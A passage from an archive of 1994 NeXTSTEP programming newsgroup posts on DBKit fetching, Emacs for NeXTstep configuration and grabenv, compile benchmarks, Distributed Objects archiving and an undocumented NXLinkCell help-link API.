objects have // all been set up correctly (I have checked this). id jobsEntity = [[jobsModule database] entityNamed:"Jobs"]; id toParts = [jobsEntity propertyNamed:"ToParts"]; [jobsModule fetchContentsOf:nil usingQualifier:theQualifier ]; DBValue *toPartsVal = [[DBValue alloc] init]; [jobsRecordList getValue:toPartsVal forProperty:toParts at:0]; [partsFetchGroup fetchContentsOf:toPartsVal usingQualifier:nil]; I encounter the same result if I try to solve the problem in other ways as well: by using a single DBModule, traversing the to-many relationship in the module browser to pull properties from the parts table and place them in the detail table . Then send fetchContentsOf:usingQualifier: message to the module. by using two DBModules, and associating them by dragging the ToParts relationship from the Jobs entity and dropping it on the icon for the detail (Parts) Module (as described in the DBKit IB project documentation). Then drag properties from the detail module into the detail DBTableView. In code, send fetchContentsOf:usingQualifier: to the master module. Can anyone tell me what might be going wrong? Any insight much appreciated. Thanks Joe Panico joe@retina.anatomy.upenn.edu
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.software,comp.sys.next.programmer Subject: Re: Hints on using Emacs for NeXTstep Date: 28 Apr 1994 23:56:17 GMT Organization: me organized? That's a joke! Message-ID: <ROBERT.94Apr29005617@steffi.demon.co.uk> References: <CEDMAN.94Apr24232418@capitalist.princeton.edu> <ROBERT.94Apr27140203@steffi.demon.co.uk> <CEDMAN.94Apr27194437@capitalist.princeton.edu> <BHILL.94Apr28111810@spike.physics.ucla.edu> <CozJtr.rnJ@mozo.cc.purdue.edu> <BHILL.94Apr28142050@spike.physics.ucla.edu> To: bhill@physics.ucla.edu (Brian Hill) In-reply-to: bhill@physics.ucla.edu's message of 28 Apr 1994 21:20:50 GMT I think the best thing here would be to write a function that returns the window depth.. and use that accordingly in .emacs Probably should support NXWindowDepthLimit too for easy testing. -- "Emacs isn't pretty. It's functional!" (ASCII for text only messages)
From: pmarc@allanon.math.byu.edu (Paul Cardon) Newsgroups: comp.sys.next.programmer Subject: My app is better than your app (was: Re: Hints on using Emacs for NeXTstep Date: 29 Apr 1994 01:29:41 GMT Organization: Brigham Young University Message-ID: <2ppnu5$76q@hamblin.math.byu.edu> References: <CEDMAN.94Apr27193721@capitalist.princeton.edu> In article <CEDMAN.94Apr27193721@capitalist.princeton.edu> cedman@princeton.edu (Carl Edman) writes: > In article <2pkqet$4pt@nic-nac.CSU.net> eps@futon.SFSU.EDU (Eric P. Scott) writes: > NXDataLinkManager is a matter of data, not user interface -- not > something which can be added without rewriting a significant fraction > of the GNU emacs code. Of course the need for the likes of RBrowser > is pretty much obviated by Emacs built-in modes, like ange-ftp, dired, > various local and remote shell modes and the like. One might even > point out that those methods for remote data access are significantly > faster over limited bandwidth links than RBrowser (which is > effectively useless over even a high speed CSLIP connection). Now children, this is getting a little out of hand. I respect the work that Eric and Robert have done on RBrowser and Carl with many other folks on Emacs. I realize that both of you have valid points, but some of this is a little too much like 1st grade playground spats. My dad is tougher than your dad, etc. Both of you should find out a little bit more about how each other's apps work before making some of your comments. The problem I have with the above comments has to do with using RBrowser over SLIP. I have a 14.4 SupraFax using PNI CSLIP on a TurboColor, and I have been quite pleased with the performance of RBrowser. The only time I have had to sit and wait for stuff is when opening a remote file on my machine, but I have not had to wait longer than I would have if I were to ftp the same file. The only other time it has been slow is when it enters a directory containing a large number of files and subdirectories, but then that is slow over ethernet. I actually would say that Eric has done an excellent job making RBrowser usable over SLIP. Maybe my SLIP is just faster than anybody else's. :-) -- Paul M. Cardon President of Provo-Orem NeXTSTEP User and Developer Group (PoNG) NeXTSTEP and HP System Manager Math Department - Brigham Young University DOS - The Ultimate Blivet
From: twinkie@next.duq.edu (Mikey Likes it) Newsgroups: comp.sys.next.programmer Subject: POP3 on the NeXT Followup-To: comp.sys.next.software Date: 29 Apr 1994 03:21:13 GMT Organization: What orginaization is this Distribution: world Message-ID: <twinkie-280494232424@kifer.slip.duq.edu> I want to be able to run pop3 on a NeXT is there a program that will do this for the NeXT that is easy to configure. Michael
From: meyergru@Informatik.TU-Muenchen.DE (Uwe Meyer-Gruhl) Newsgroups: comp.sys.next.programmer Subject: Re: Gecko vs NeXTstation color: compiling Draw.app Date: 29 Apr 1994 07:38:22 GMT Organization: Technische Universitaet Muenchen, Germany Distribution: world Message-ID: <2pqdhe$hu2@hpsystem1.informatik.tu-muenchen.de> References: <1994Apr23.081007.764@prim.demon.co.uk> <2plte8$1pr@hptwin.revco.com> <SWIET.94Apr28013947@whatever.cs.jhu.edu> Originator: meyergru@hpradigf.informatik.tu-muenchen.de In article <SWIET.94Apr28013947@whatever.cs.jhu.edu>, swiet@whatever.cs.jhu.edu (Alexander Swietlicki) writes: |> In article <2plte8$1pr@hptwin.revco.com> paulw@revco.com (Paul Winkeler) writes: |> Secondly, think about rule #1 in benchmarking: Make sure you are |> comparing identical exotic fruits! The compiler is in fact doing |> something quite different on the 68K, Intel and PA-Risc machines: |> Generating code for radically different processor instruction sets. |> |> Very well then. Can anyone post some benchmarks on compiling an app fat -- |> with and without -pipe on the various machines? Or, at least, compiling |> say, a fat Intel+Motorola Draw.app on each of Intel, Motorola, HP... |> |> However, I still think compiling is compiling. I don't care what pains |> the compiler has to go through to make a binary for the machine I'm on. |> If I'm looking to do any sort of programming on a machine, then compilation |> time is very important. Think of the compiler as just another app, but one |> that should run fast. Benchmarks are valuable -- even if the compiler is |> generating apples and oranges on different machines. |> I think you are missing the point. NS 3.3 will be able to compile code for 3 different architectures. This means that if you generate fat binaries, the compilation process will be slower on the original NeXT and Intel platforms, too. That is the price you have to pay for portability. When it comes to debugging and compiling the same app over and over again, you might say that you don't have to compile fat. O.K., but then you don't have to use -O, too. I suspect that the compile times should be comparable in that case, and the debugging run of your app will take less time on the faster machine. Another thing is that the (non-beta) version for the PA-RISC did not come with precompiled headers, so if the person who posted the results did not generate them first, the times are even less comparable. Matter-of-fact, folks, this was not the final version, so wait until the product comes out, and THEN compare NS 3.3 on a NeXT to NS 3.3 on an HP. This would only be fair. cheers, Uwe Uwe Meyer-Gruhl "And if I die today I'll be the happy phantom Lehrstuhl Informatik IX and I'll go chasing nuns out in the yard" (TA) Technische Universitaet Muenchen email:MeyerGru@Informatik.TU-Muenchen.DE Orleansstr. 34, D-81667 Muenchen tel: ++49 89 48095-209
Newsgroups: comp.sys.next.software,comp.sys.next.programmer From: cedman@princeton.edu (Carl Edman) Subject: Re: Hints on using Emacs for NeXTstep In-Reply-To: eps@futon.SFSU.EDU's message of 28 Apr 1994 08:25:49 GMT To: eps@futon.SFSU.EDU (Eric P. Scott) Message-ID: <CEDMAN.94Apr28093551@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <CEDMAN.94Apr24232418@capitalist.princeton.edu> <BYER.94Apr26110828@birch.mv.us.adobe.com> <2pkqet$4pt@nic-nac.CSU.net> <CEDMAN.94Apr27193721@capitalist.princeton.edu> <2pnrud$55q@nic-nac.CSU.net> Date: Thu, 28 Apr 1994 13:35:48 GMT In article <2pnrud$55q@nic-nac.CSU.net> eps@futon.SFSU.EDU (Eric P. Scott) writes: Let me make a few things clear: (1) I am not saying that Emacs.app is a _bad_ thing--clearly there's demand for it, and it represents an "advance" over what NeXT has been distributing. I'm glad to hear you say that. (2) I *did* read the source. And I searched for very specific _known_ pitfalls. It almost seems as though we have two very different versions. Very well. If you think that you've found a _specific_ bug (and doubtlessly some exist) please let me know -- that is one of the advantages of distributing source. Generally, such things are handled in email, but if it gives you such pleasure to critic my code in a public forum, I'll gladly take patches from this newsgroup if it results in a less buggy, more portable Emacs for NS. (3) There is an awful lot of host environment-dependency already, both in the C code and the elisp code. It's a little late to feign innocence. I agree that Stallman is being an obstructionist. Perhaps things will change with OpenStep. [Not holding my breath...] That's true. The difference is that the host dependency which RMS puts in automatically is kept up to date from release to release. If I put something NS dependent into the main source files, the patches from the FSF don't give a damn about it, greatly increasing the time spent by us maintaining the core functionality and increasing the likelihood that one day we just won't any longer be able to do it. (4) Using NXDataLinkManager doesn't require "rewriting a significant fraction of the GNU emacs code." File handling is pretty well confined to two source files. The necessary changes are quite minor. Even if, as you claim, the changes could be confined to two files, they would still represent a large change to the emacs core files compared to what has been done so far. As I've explained in another article in this thread, I've been very reluctant to make any changes to the source files as distributed by the FSF because every change made to those files will make application of future GNU Emacs improvements much harder. (5) I *was* going to contribute code to make it compatible with openfile(1), but since you seem to be more interested in pretty screen shots than actual functionality, I'll not waste any more of your time. How shall I convince you ? I've said so before and so have others in this group. Actually trying the source should have convinced you. Emacs today works with open(1) (after all, openfile(1) has no added functionality and hardwired to Edit.app), it accepts files which you double-click in the Workspace (either before or after launching Emacs), it accepts drag and drop and it even accepts opening files at specific lines from the ProjectBuilder error list. BTW, let me thank you for being the first to refer to Emacs for NS screen shots as pretty (apart from Joe Reiss beautiful icons). (6) My major objection is to the specific claim that Emacs.app can serve as a replacement for Edit.app. This is just not the case. I don't recall ever having made that claim. So let it be quite clear that Edit.app has advantages over Emacs for NS, such as understanding of rtf files, cooperation with gdb, a nicer scroll bar and better handling of proportional fonts. At least the later three will be coming to Emacs for NS earlier or later and already it offers great advantages over Edit.app most important of which being its extreme customizability which those who are used to it are loath to miss (and of course the fact that it is available on virtually all platforms). For many users and developers these advantages so far outweigh the disadvantages that they've replaced Edit with Emacs for almost all tasks and I believe that as more people get access to Emacs for NS, many if not most developers will do so. It may be a very good Emacs, but it's not a very good NEXTSTEP application--even though some very talented people worked on it, and invested enough time and effort to qualify for the "Microsoft Windows league." One distinction to draw here is however that Microsoft Windows programmers are at least well rewarded financially. The people who created Emacs for NS apparently can expect no reward greater to be insulted on the net by you. Carl Edman
Newsgroups: comp.sys.next.software,comp.sys.next.programmer From: cedman@princeton.edu (Carl Edman) Subject: Re: Hints on using Emacs for NeXTstep In-Reply-To: bhill@physics.ucla.edu's message of 28 Apr 1994 18:01:12 GMT To: bhill@physics.ucla.edu (Brian Hill) Message-ID: <CEDMAN.94Apr28164548@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <CEDMAN.94Apr24232418@capitalist.princeton.edu> <BHILL.94Apr26122041@spike.physics.ucla.edu> <CEDMAN.94Apr27151402@capitalist.princeton.edu> <BHILL.94Apr28110112@spike.physics.ucla.edu> Date: Thu, 28 Apr 1994 20:45:48 GMT In article <BHILL.94Apr28110112@spike.physics.ucla.edu> bhill@physics.ucla.edu (Brian Hill) writes: I'm sold and have upgraded from Emacs-3.0.1 to Emacs-4.0. Now if you could comment on a long-standing problem for windowing versions of emacs: This is a problem which many people have had with Emacs interfaces under NS, so Emacs for NS includes code to fix this (which I think was also mentioned in the original article of this thread). Just add these lines to your ~/.emacs and emacs will acquire the shell environment: (if window-system (grabenv)) By default grabenv grabs the csh environment, but this should grab your bash environment: (if window-system (grabenv "/usr/local/bin/bash" "source /etc/profile" "source ~/.bash_profile" "source ~/.bashrc" "printenv")) The reason that grabenv is conditionalized on window-system being set is that grabenv takes a second or two and if you are running emacs under a terminal (i.e. window-system == nil), you probably don't need it. Carl Edman
Newsgroups: comp.sys.next.software,comp.sys.next.programmer From: cedman@princeton.edu (Carl Edman) Subject: Re: Hints on using Emacs for NeXTstep In-Reply-To: bhill@physics.ucla.edu's message of 28 Apr 1994 18:18:10 GMT To: bhill@physics.ucla.edu (Brian Hill) Message-ID: <CEDMAN.94Apr28165359@capitalist.princeton.edu> Originator: news@nimaster Sender: news@Princeton.EDU (USENET News System) Organization: Princeton University References: <CEDMAN.94Apr24232418@capitalist.princeton.edu> <BYER.94Apr26110828@birch.mv.us.adobe.com> <2pkqet$4pt@nic-nac.CSU.net> <ROBERT.94Apr27140203@steffi.demon.co.uk> <CEDMAN.94Apr27194437@capitalist.princeton.edu> <BHILL.94Apr28111810@spike.physics.ucla.edu> Date: Thu, 28 Apr 1994 20:53:59 GMT In article <BHILL.94Apr28111810@spike.physics.ucla.edu> bhill@physics.ucla.edu (Brian Hill) writes: Carl Edman <cedman@princeton.edu> writes: > In article <ROBERT.94Apr27140203@steffi.demon.co.uk> > robert@steffi.demon.co.uk (Robert Nicholson) writes: Carl, Is it > possible to map colors from an NXColorPanel to those that Emacs > understands? Perhaps that's another thing that could be done? It > would be really cool if "faces" accepted swatches :-) > Yes, that could be added and is on the wish list for the next > release now. I didn't realize that so many people would want to > play with colors in Emacs. :-) In any case, you can already use > all the names in all the standard NS color lists (in addition to > those in Emacs.clr). IMHO, any app that takes up a lot of screen acreage should allow the user to set the background color to something other than blazing white. On mono machines, white is fine. On color machines, it is the brightest of all 256^3 possible colors and I don't like staring at 500,000 or so pixels of it. AntiqueWhite complements the Gnu in Emacs.app's icon :) But you can use colors ! Just check the manual as shipped with emacs or try hilit19.el. To set the default background color to AntiqueWhite, just add this dwrite: dwrite Emacs Background AntiqueWhite This does work and if that shade doesn't please you there are two hundred different shades of gray along in the default Emacs.clr. The above discussion was only about whether you should be able to select colors from the NS color swatch and not only by name. Carl Edman
From: marcus@ee.pdx.edu (Marcus Daniels) Newsgroups: comp.sys.next.software,comp.sys.next.programmer Subject: Re: Hints on using Emacs for NeXTstep Date: 29 Apr 1994 08:34:22 GMT Message-ID: <MARCUS.94Apr29013422@tdb.ee.pdx.edu> References: <CEDMAN.94Apr24232418@capitalist.princeton.edu> <BYER.94Apr26110828@birch.mv.us.adobe.com> <2pkqet$4pt@nic-nac.CSU.net> <CEDMAN.94Apr27193721@capitalist.princeton.edu> <2pnrud$55q@nic-nac.CSU.net> <CEDMAN.94Apr28093551@capitalist.princeton.edu> In-reply-to: cedman@princeton.edu's message of Thu, 28 Apr 1994 13:35:48 GMT >>>>> "Carl" == Carl Edman <cedman@princeton.edu> writes: In article <CEDMAN.94Apr28093551@capitalist.princeton.edu> cedman@princeton.edu (Carl Edman) writes: Carl> (6) My major objection is to the specific claim that Carl> Emacs.app can serve as a replacement for Edit.app. This is just Carl> not the case. Carl> I don't recall ever having made that claim. So let it be quite Carl> clear that Edit.app has advantages over Emacs for NS, such as Carl> understanding of rtf files This probably a a non-issue, due to Emacs' mode driven highlighing, but has anyone given any thought to the possibility of an elisp rich-text parser? Perhaps the effort would be better spent enhancing packages such as WWW-mode.
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.software,comp.sys.next.programmer Subject: Re: Hints on using Emacs for NeXTstep Date: 29 Apr 1994 07:17:22 GMT Organization: me organized? That's a joke! Message-ID: <ROBERT.94Apr29081722@steffi.demon.co.uk> References: <CEDMAN.94Apr24232418@capitalist.princeton.edu> <BYER.94Apr26110828@birch.mv.us.adobe.com> <2pkqet$4pt@nic-nac.CSU.net> <ROBERT.94Apr27140203@steffi.demon.co.uk> <CEDMAN.94Apr27194437@capitalist.princeton.edu> <BHILL.94Apr28111810@spike.physics.ucla.edu> To: bhill@physics.ucla.edu (Brian Hill) In-reply-to: bhill@physics.ucla.edu's message of 28 Apr 1994 18:18:10 GMT In article <BHILL.94Apr28111810@spike.physics.ucla.edu> bhill@physics.ucla.edu (Brian Hill) writes: Carl Edman <cedman@princeton.edu> writes: > In article <ROBERT.94Apr27140203@steffi.demon.co.uk> > robert@steffi.demon.co.uk (Robert Nicholson) writes: Carl, Is it > possible to map colors from an NXColorPanel to those that Emacs > understands? Perhaps that's another thing that could be done? It > would be really cool if "faces" accepted swatches :-) > Yes, that could be added and is on the wish list for the next > release now. I didn't realize that so many people would want to > play with colors in Emacs. :-) In any case, you can already use > all the names in all the standard NS color lists (in addition to > those in Emacs.clr). IMHO, any app that takes up a lot of screen acreage should allow the user to set the background color to something other than blazing white. On mono machines, white is fine. On color machines, it is the brightest of all 256^3 possible colors and I don't like staring at 500,000 or so pixels of it. AntiqueWhite complements the Gnu in Emacs.app's icon :) --Brian Hill I don't under what is the problem?? You can do this already, right... ;;; Set up environment (cond ((eq window-system 'ns) (grabenv) ;;; Set up colors (set-face-foreground 'modeline "White") (set-face-background 'modeline "Dark Gray") (setq default-frame-alist '((background-color . "Black") (foreground-color . "White") (cursor-type . box) (cursor-color . "Dark Gray"))))) -- "Emacs isn't pretty. It's functional!" (ASCII for text only messages)
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.software,comp.sys.next.programmer Subject: Re: Hints on using Emacs for NeXTstep Date: 29 Apr 1994 07:19:56 GMT Organization: me organized? That's a joke! Message-ID: <ROBERT.94Apr29081956@steffi.demon.co.uk> References: <CEDMAN.94Apr24232418@capitalist.princeton.edu> <ROBERT.94Apr27140203@steffi.demon.co.uk> <CEDMAN.94Apr27194437@capitalist.princeton.edu> <BHILL.94Apr28111810@spike.physics.ucla.edu> <CozJtr.rnJ@mozo.cc.purdue.edu> To: davis@sonata.cc.purdue.edu (Robert Davis) In-reply-to: davis@sonata.cc.purdue.edu's message of Thu, 28 Apr 1994 20:05:51 GMT In article <CozJtr.rnJ@mozo.cc.purdue.edu> davis@sonata.cc.purdue.edu (Robert Davis) writes: Okay, give this a try: dwrite Emacs Background somecolor dwrite Emacs DefaultBackground somecolor dwrite Emacs DefaultForeground someothercolor where "somecolor" and "someothercolor" are listed in one of your .clr files in /NextLibrary/Colors or in Emacs.clr. IMHO: dwrites are a pain... I chose to localize all my settings in .emacs.. ;;; Set up environment (cond ((eq window-system 'ns) (grabenv) ;;; Set up colors (set-face-foreground 'modeline "White") (set-face-background 'modeline "Dark Gray") (setq default-frame-alist '((background-color . "Black") (foreground-color . "White") (cursor-type . box) (cursor-color . "Dark Gray"))))) ;;; Set geometry (setq initial-frame-alist '((top . 1) (left . 550) (width . 80) (height . 55))) That's last one probably belongs in the condition actually... being an frame an all. -- "Emacs isn't pretty. It's functional!" (ASCII for text only messages)
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Another Taylor UUCP Compile Problem Date: 29 Apr 1994 07:23:05 GMT Organization: me organized? That's a joke! Message-ID: <ROBERT.94Apr29082305@steffi.demon.co.uk> References: <westesCozIBK.A9E@netcom.com> To: westes@netcom.com (Will Estes) In-reply-to: westes@netcom.com's message of Thu, 28 Apr 1994 19:33:20 GMT Do a #undef HAVE_DIRENT_H before that code. -- "Emacs isn't pretty. It's functional!" (ASCII for text only messages)
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.software,comp.sys.next.programmer Subject: Re: Hints on using Emacs for NeXTstep Date: 29 Apr 1994 07:14:57 GMT Organization: me organized? That's a joke! Distribution: world Message-ID: <ROBERT.94Apr29081457@steffi.demon.co.uk> References: <CEDMAN.94Apr24232418@capitalist.princeton.edu> <BHILL.94Apr26122041@spike.physics.ucla.edu> <CEDMAN.94Apr27151402@capitalist.princeton.edu> <BHILL.94Apr28110112@spike.physics.ucla.edu> To: bhill@physics.ucla.edu (Brian Hill) In-reply-to: bhill@physics.ucla.edu's message of 28 Apr 1994 18:01:12 GMT Looks like carl forgot to document (grabenv) he posted this to the list during beta. * grabenv, a new little function which isn't really related to much of anything else but which I believe many of you will find useful. If Emacs is launched from the Workspace, it doesn't run as the child of any shell. As a consequence it doesn't have any of the environment variable settings from your ~/.cshrc, etc. files which is a problem for some people. grabenv runs a shell, parses its environment and puts all the variables into your emacs environment and so fixes that problem. However, grabenv takes a second or two, at least on my old slab so you don't want to run it unless you need it. If your shell is csh, the typical grabenv invocation from your ~/.emacs file would be (if (eq window-system 'ns) (grabenv)). If you want to pick up the environment of another shell, you'll have to supply a few arguments. -- "Emacs isn't pretty. It's functional!" (ASCII for text only messages)
Newsgroups: comp.sys.next.programmer From: mark@xexos.com (Mark Chamberlain) Subject: Re: Possible Programming Project Message-ID: <Cp0G8o.2M7@xexos.com> Sender: usenet@xexos.com Organization: Xexos Ltd (London) References: <CozCot.57C@mrk.com> Distribution: usa Date: Fri, 29 Apr 1994 07:45:59 GMT In article <CozCot.57C@mrk.com> jerald@mrk.com (Jerald Dawson) writes: > The app that we want written is a graphing app > for graphing the Open / High / Low / Close of commodity data. The special > thing about this is that we want it to conform to certain protocols so it can > connect to our custom database app that stores the data through DO. Does > anyone have any thoughts on this? For all I know there might be something out > there that we can buy that will do what we want. We can sell you a system which does this, only it can also capture the data off of a variety of feeds/source, spread it round a network, stuff it in a variety of databases of your choice, view it in new and interesting ways, model it, graph it (7 financial graph types, or you can export to a 3rd party app), all kinds of stuff! Its called Alice. mail matt@xexos.com for details. -- Mark Chamberlain +44 71 237 4535 Xexos Ltd fax +44 71 231 0844 London mark@xexos.com
Newsgroups: comp.sys.next.programmer From: dave@prim.demon.co.uk (Dave Griffiths) Subject: Re: DO, NXTranport, and archiving Message-ID: <1994Apr29.090158.6491@prim.demon.co.uk> Organization: Primitive Software Ltd. References: <CozDJI.By@news.cis.umn.edu> Date: Fri, 29 Apr 1994 09:01:58 GMT In article <CozDJI.By@news.cis.umn.edu> keithw@fiji.umhc.umn.edu writes: >I am new to using distributed objects so if there is an obvious answer to this >question please forgive: Why does the NXTransport stuff for copying (not proxy >creating) ignore the archiving system for the object hierarchy and reproduce >yet another approach to packaging up an object? I agree. It is daft to have two ways of doing essentially the same thing. However, looking at your proposed solution suggests the reason NeXT had to invent a new method: backward compatibility. One problem with your technique is that any objects that are also archived in the write: method of your root object (and so on down the heirarchy) will have no way of knowing they've been copied across the wire. You may want to do some different initialization depending on how you've been created. If NXStream had been an object, a method could have been added to supply this info. Then again, maybe NXTypedStreamClassVersion could have been used to determine this? Dunno. Anyone else know why a new approach was invented? Dave Griffiths
From: jreiss@magnus.acs.ohio-state.edu (Joseph W Reiss) Newsgroups: comp.sys.next.software,comp.sys.next.programmer Subject: Re: Hints on using Emacs for NeXTstep Date: 29 Apr 1994 11:26:57 GMT Organization: The Ohio State University Message-ID: <2pqqu1$fml@charm.magnus.acs.ohio-state.edu> References: <CEDMAN.94Apr24232418@capitalist.princeton.edu> <2pnrud$55q@nic-nac.CSU.net> <CEDMAN.94Apr28093551@capitalist.princeton.edu> <MARCUS.94Apr29013422@tdb.ee.pdx.edu> Marcus@ee.pdx.edu (Marcus Daniels) wrote... >>>>>> "Carl" == Carl Edman <cedman@princeton.edu> writes: >In article <CEDMAN.94Apr28093551@capitalist.princeton.edu> cedman@princeton.edu (Carl Edman) writes: > >Carl> Edit.app has advantages over Emacs for NS, such as >Carl> understanding of rtf files > >This probably a non-issue, due to Emacs' mode driven highlighing, but >has anyone given any thought to the possibility of an elisp rich-text parser? >Perhaps the effort would be better spent enhancing packages such as WWW-mode. > I've considered the possibility of an rtf-mode. There were two problems standing in my way, though. First is that I'm just not that great of an elisp hacker yet. The second, and more fundamental problem, is that Emacs 19 doesn't handle multiple font sizes well at all. The rectangle assigned to a character is fixed, and characters larger than that rectangle just get truncated, I believe. That may not be exactly correct, but the gist is that you can't make BIG fonts and small fonts live together in the same buffer properly yet. I hear that's supposed to be supported eventually in the basic FSF Emacs. When that happens, rtf-mode will become a distinct and viable possibility. Joe -- __________ | NeXTMail? We can do NeXTMail!!! | |___) | """""""""""""""""""""""""""""""""""""""""""""""""""""""" \_/OE | \EISS | Real programmers don't plan ahead. They have a gut `---- | feel for the work required.
From: swiet@syzygy.cs.jhu.edu (Alexander Swietlicki) Newsgroups: comp.sys.next.programmer Subject: Re: Gecko vs NeXTstation color: compiling Draw.app Date: 29 Apr 1994 12:00:23 GMT Organization: Computer Science Department, The Johns Hopkins University Distribution: world Message-ID: <SWIET.94Apr29080024@syzygy.cs.jhu.edu> References: <1994Apr23.081007.764@prim.demon.co.uk> <2plte8$1pr@hptwin.revco.com> <SWIET.94Apr28013947@whatever.cs.jhu.edu> <2pqdhe$hu2@hpsystem1.informatik.tu-muenchen.de> In-reply-to: meyergru@Informatik.TU-Muenchen.DE's message of 29 Apr 1994 07:38:22 GMT In article <2pqdhe$hu2@hpsystem1.informatik.tu-muenchen.de> meyergru@Informatik.TU-Muenchen.DE (Uwe Meyer-Gruhl) writes: I think you are missing the point. NS 3.3 will be able to compile code for 3 different architectures. This means that if you generate fat binaries, the compilation process will be slower on the original NeXT and Intel platforms, too. That is the price you have to pay for portability. Right. So the overall fastest machine will crunch out the fat binaries in the shortest time. However... When it comes to debugging and compiling the same app over and over again, you might say that you don't have to compile fat. Of course not! I'm glad you got the point. :-) O.K., but then you don't have to use -O, too. Why not? Gcc supports -g -O. And in the gcc documentation, it is encouraged. I suspect that the compile times should be comparable in that case, and the debugging run of your app will take less time on the faster machine. The machine speed isn't as significant in debugging. The bottleneck is in the thought process. Most of the time the debugger is waiting for you to type something. An extra few MIPS here and there wouldn't hurt in invoking gdb or using watchpoints, though...
From: robert@steffi.demon.co.uk (Robert Nicholson) Newsgroups: comp.sys.next.programmer Subject: Re: Possible Programming Project Date: 29 Apr 1994 10:43:38 GMT Organization: me organized? That's a joke! Distribution: usa Message-ID: <ROBERT.94Apr29114338@steffi.demon.co.uk> References: <CozCot.57C@mrk.com> <Cp0G8o.2M7@xexos.com> To: mark@xexos.com (Mark Chamberlain) In-reply-to: mark@xexos.com's message of Fri, 29 Apr 1994 07:45:59 GMT Did this guys email address bounce or something? -- "Emacs isn't pretty. It's functional!" (ASCII for text only messages)
From: dcl@panix.com (David Lambert) Newsgroups: comp.sys.next.programmer Subject: SchoolView Errata/Reference Date: 29 Apr 1994 09:27:55 -0400 Organization: PANIX Public Access Internet and Unix, NYC Message-ID: <2pr20r$khn@panix.com> Last week, I submitted the SchoolView Backspace module. The README lacked the complete reference to the paper describing the flocking algorithm. Fortunately, the author of the paper contacted me with the correct info, so we don't have to wait for me to find my proceedings. The complete ref is: Reynolds, Craig W. (1987) Flocks, Herds and Schools: A Distributed Behavioral Model, Computer Graphics 21(4) (SIGGRAPH '87 Conference Proceedings), ACM, New York, pages 25-34. Mr. Reynolds also pointed out that I was misinformed about the usage of this algorithm in "Jurassic Park" - the flocking was done "manually" for this film. However, the bats in both "Batman Returns" and "Cliffhanger" apparently benefited from his technique. David C. Lambert dcl@homer.uu.panix.com (NeXTMail ok)
From: blake015@mc.duke.edu(Denise Blakeley) Newsgroups: comp.sys.next.programmer Subject: Re: Finding hardware and OS version Date: 29 Apr 1994 13:36:18 GMT Organization: Duke University; Durham, N.C., USA Message-ID: <2pr2gi$3p0@news.duke.edu> References: <2pp8uc$c4s@crl.crl.com> Donald R. McGregor writes > > Is there an approved way to determine (1) the hardware NeXT > is running on (Moto, Intel, HP, etc), and (2) the OS version? > I don't see anything in the release notes or summaries. Check out the "hostinfo" command in your man pages. Denise -- Denise Blakeley | PROGRAM, tr. v., An activity similar Duke Med Center Info Systems | to banging one's head against a wall, Durham, NC | but with fewer opportunities for (919) 286-6468 W | reward. blake015@mc.duke.edu | NeXTMail welcome!
Newsgroups: comp.sys.next.programmer From: andrew@stone.com (Andrew Stone) Subject: Re: Those Link buttons in Help & Edit, What the heck? Message-ID: <1994Apr28.205347.1271@stone.com> Keywords: NewsGrazer Pro - when will the masses be using it ;-) Sender: andrew@stone.com Organization: Stone Design Corp References: <1994Apr27.223019.426@stone.com> Date: Thu, 28 Apr 1994 20:53:47 GMT In article <1994Apr27.223019.426@stone.com> andrew@stone.com (Andrew Stone) writes (the motivation is below, here's the answer:) Warning, warning Will Robinson! Don't use this unless you want to break something later... Using undocumented API's can be dangerous to your health and other living things. Thanks to Robert Nicholson for tip to use EPS's class-dump on libNeXT_s.C.shlib to get these API's. Also, in whatever method you call to load the file, be sure to make temporary storage of the linkFilename string, and then call the actual code with a perform:with:afterDelay:cancelPrevious, or you'll seg fault because that graphic will be freed when you dump new text into your object! @interface NXMarkerCell:Cell { STR markername; // 20 = 0x14 char visible; // 24 = 0x18 } - stopTracking:(struct _NXPoint *)fp16 at:(struct _NXPoint *)fp20 inView:fp24 mouseIsUp:(char)fp31; // IMP=0x060f69e0 @end @interface NXLinkCell:NXMarkerCell { STR linkFilename; STR linkMarkername; char beingUsed; char beingFreed; } @end @implementation NXLinkCell(SDmethods) - stopTracking:(struct _NXPoint *)pt1 at:(struct _NXPoint *)pt2 inView:view mouseIsUp:(char)mouseIsUp { [super stopTracking:pt1 at:pt2 inView:view mouseIsUp:mouseIsUp]; if (mouseIsUp) { // and we are in the view, rewrite to make // sure the mouse is still in the view // who knows what's point is what? [[NXApp delegate] loadRelativeTopic:linkFilename]; } return self; } @end > I'm writing an app to allow viewing a hierarchy of README files, all in > the same window. The motivation is that I love those little blue link > buttons that you can insert into RTF text to link to other files in a > relative hierarchy: in our new CDROM I use this to browse around, but who > wants to keep closing Edit windows? If you've never played with them in > Edit: Format->Help->Insert Link. > > Anyway, has anyone figured out how to use these devils? In Edit and the > NXHelpPanel, they correctly open the file in the link, but if you click on > them in your own text window or Mail, they do zilch. > > Here's an rtf file, conveniently asciied for you that show one of these > pups: (to reconstitute, copy it, in a terminal type: paste > /tmp/hi.rtf) > > {\rtf0\ansi{\fonttbl\f0\fmodern Ohlfs;} > \paperw9840 > \paperh11200 > \margl120 > \margr120 > {\pard\tx1152\tx2304\tx3456\tx4608\tx5760\tx6912\tx8064\tx9216\tx10368\tx1 > 1520\f0\b0\i0\ulnone\fs24\fc0\cf0{\NeXTHelpLink0 \markername > ;\linkFilename /etc/rc.local;\linkMarkername ;} > }} > > Anyone know how to be notified when the marker gets mouseDown:'ed on? > -- > ||<<->>||<<==>>||<<++>>||<<?>|<+>>||<<-->>||<<==>>||<<+>>|| > !! Andrew Stone | (505) 345-4800 !! > !! andrew@stone.com | Stone Design Corp !! > ||<<->>||<<==>>||<<++>>||<<?>|<+>>||<<-->>||<<==>>||<<+>>|| -- ||<<->>||<<==>>||<<++>>||<<?>|<+>>||<<-->>||<<==>>||<<+>>|| !! Andrew Stone | (505) 345-4800 !! !! andrew@stone.com | Stone Design Corp !! ||<<->>||<<==>>||<<++>>||<<?>|<+>>||<<-->>||<<==>>||<<+>>||
